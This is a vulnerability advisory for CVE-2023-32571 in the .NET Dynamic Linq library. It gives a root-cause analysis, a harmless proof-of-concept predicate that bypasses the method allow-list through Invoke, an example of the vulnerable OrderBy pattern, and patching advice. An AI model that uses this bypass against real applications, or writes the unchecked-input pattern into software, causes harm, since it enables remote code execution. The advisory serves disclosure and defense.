Product Details
Name | System.Linq.Dynamic.Core |
Affected versions | 1.0.7.10 to 1.2.25 |
Fixed versions | >= 1.3.0 |
URL | https://www.dynamic-linq.net/ |
Vulnerability Summary
CVE | CVE-2023-32571 |
CWE | CWE-184: Incomplete List of Disallowed Inputs |
CVSSv3.1 vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
CVSSv3.1 base score | 9.1 |
Overview
What is Dynamic Linq?
Dynamic Linq is an open source .NET library that allows developers to easily incorporate flexible data filtering into their applications and services. It parses user-supplied text input and compiles and executes a lambda.
The library has over 80m downloads from the NuGet package manager site, and is used in a number of large projects including frameworks such as AspNetBoilerPlate, meaning it forms part of many applications.
The vulnerability
Users can execute arbitrary code and commands where user input is passed to Dynmic Linq methods such as .Where(...)
, .All(...)
, .Any(...)
and .OrderBy(...).
The .OrderBy(...)
method is commonly provided with unchecked user input by developers, which results in arbitrary code execution. The code/commands will be executed in the context of the process that utilises Dynamic Linq. This is expected to be a low-privileged user or service account. Where search functionality is exposed to anonymous users for example, this may be exploitable pre-authentication.
Root Cause Analysis
Dynamic Linq is used to compile and execute predicates that are supplied in text form. The input will be compiled, subject to some restrictions intended to prevent arbitrary method execution. Per the documentation, these safety checks are:
- Only allow-listed primitive types can be explicitly instantiated
- The only methods that may be called are:
- Methods on Accessible Types
- Static methods in the Math and Convert namespaces
- Methods from the IEnumerable and IQueryable interfaces
The Accessible Types are the Linq primitive types (string, datetime, GUID, various numerical types, object etc.) and the System.Math
and System.Convert
namespaces (see Dynamic Linq – Accessible Types).
Additionally, Dynamic Linq will permit its own aggregate methods to be called on objects that implement the IEnumerable
and IQueryable
interfaces. The aggregate methods include .Where(...)
, .Skip(...)
, .First()
etc.
However, In 2016 a pull request was made and accepted titled “Add unit test and fix public methods access”. This was intended to allow access to public methods on classes retrieved via Linq queries. This functionality had been intentionally prohibited by the original design for security reasons.
The commit changed the existing test used to determine if a method was permitted to be called:
Pre-commit
case 1:
MethodInfo method = (MethodInfo)mb;
if (!IsPredefinedType(method.DeclaringType))
throw ParseError(errorPos, Res.MethodsAreInaccessible, GetTypeName(method.DeclaringType));
Post-commit
case 1:
MethodInfo method = (MethodInfo)mb;
if (!IsPredefinedType(method.DeclaringType) !(method.IsPublic IsPredefinedType(method.ReturnType)))
throw ParseError(errorPos, Res.MethodsAreInaccessible, GetTypeName(method.DeclaringType));
In the original code, methods were only callable on predefined types (the Accessible Types). The commit widened this test, to also allow public methods that returned an Accessible Type to be called. This permits numerous dangerous methods to be called, the most useful of which is the Invoke
method.
Invoke
is a generic method found on on all Method
types, so by necessity its return type is Object
, which can later be cast to the appropriate type. As the Object
type is an Accessible Type, the Invoke
method can be called on any Method
type, allowing any method to be called on any object (and also any static method).
Invoking Arbitrary Methods
As the Invoke
method is public, and it is declared to return an Object
which is an Accessible Type the vulnerable versions of the Dynamic Linq library allow any method to be Invoked.
This can be used to execute arbitrary methods on any object as illustrated in this simple proof of concept:
- Create a new .Net console project
$> mkdir dynamic-linq-poc
$> cd dynamic-linq-poc
$> dotnet new console
- Replace the contents of Program.cs:
using System;
using System.Linq;
using System.Linq.Dynamic.Core;
public class Program
{
public static void Main()
{
var baseQuery = new int[] { 1, 2, 3, 4, 5 }.AsQueryable();
string predicate = "\"\".GetType().Assembly.GetName().Name.ToString() != \"NCC Group\"";
var result = baseQuery.OrderBy(predicate);
foreach (var val in result)
{
Console.WriteLine(val);
}
}
}
- Add a reference to the Dynamic Linq library:
$> dotnet add package System.Linq.Dynamic.Core --version 1.2.25
- Run the program and note the error message – “Methods on type ‘Assembly’ are not accessible”.
As expected, it is not permitted to call the GetName
method on an object of type Assembly
as the Assembly
type is not an Accessible Type.
- Edit the predicate string as follows:
using System;
using System.Linq;
using System.Linq.Dynamic.Core;
public class Program
{
public static void Main()
{
var baseQuery = new int[] { 1, 2, 3, 4, 5 }.AsQueryable();
string predicate = "\"\".GetType().Assembly.DefinedTypes.Where(it.name == \"Assembly\").First()
.DeclaredMethods.Where(it.Name == \"GetName\").First().Invoke(\"\".GetType().Assembly,
new Object[] {} ).Name.ToString() != \"NCC Group\"";
var result = baseQuery.OrderBy(predicate);
foreach (var val in result)
{
Console.WriteLine(val);
}
}
}
- Run the program again, and note that the code executes successfully.
Whilst the two predicates are semantically identical, the first one is prohibited as expected, but the second one is permitted as it uses the Invoke
method to call the GetName
method on the Assembly
type. This technique is proven to allow the execution of OS commands and loading of arbitrary assemblies.
Impact
As Dynamic Linq is a library, the exact impact depends on the use-case within dependent projects. A common pattern seen across many web application/API projects is to use Dynamic Linq for sorting and pagination – user input is passed to the OrderBy
method of the IEnumerable
interface. For example:
[HttpPost(Name = "SearchItems")]
public IEnumerable- Post(SearchItemReq req)
{
return db.Items.Where(i => i.Type == req.Type).OrderBy(req.Order).ToArray();
}
In the above example the .OrderBy(...)
method takes a string input directly from the user-supplied request input. This is a relatively common pattern observed in many code bases.
Prior to the introduction of this vulnerability this was a safe practice, however the vulnerability means that it is possible to leverage this to obtain remote code execution. This functionality is often available pre-authentication.
The vulnerability is known to have affected numerous dependents including the following, which in turn is expected to have a significant impact:
- Asp.Net Boilerplate (ABP) Framework
- Microsoft Rules Engine
- .Net Entity Framework
- Various CMSes including Umbraco CMS
Patching
Update System.Linq.Dynamic.Core to version 1.3.0 or greater.
Don’t forget about your upstream dependencies! Integrating tools such as OWASP Dependency Check or Trivy into your CI/CD pipeline can help you detect vulnerable dependencies early so you don’t introduce vulnerabilities into your product.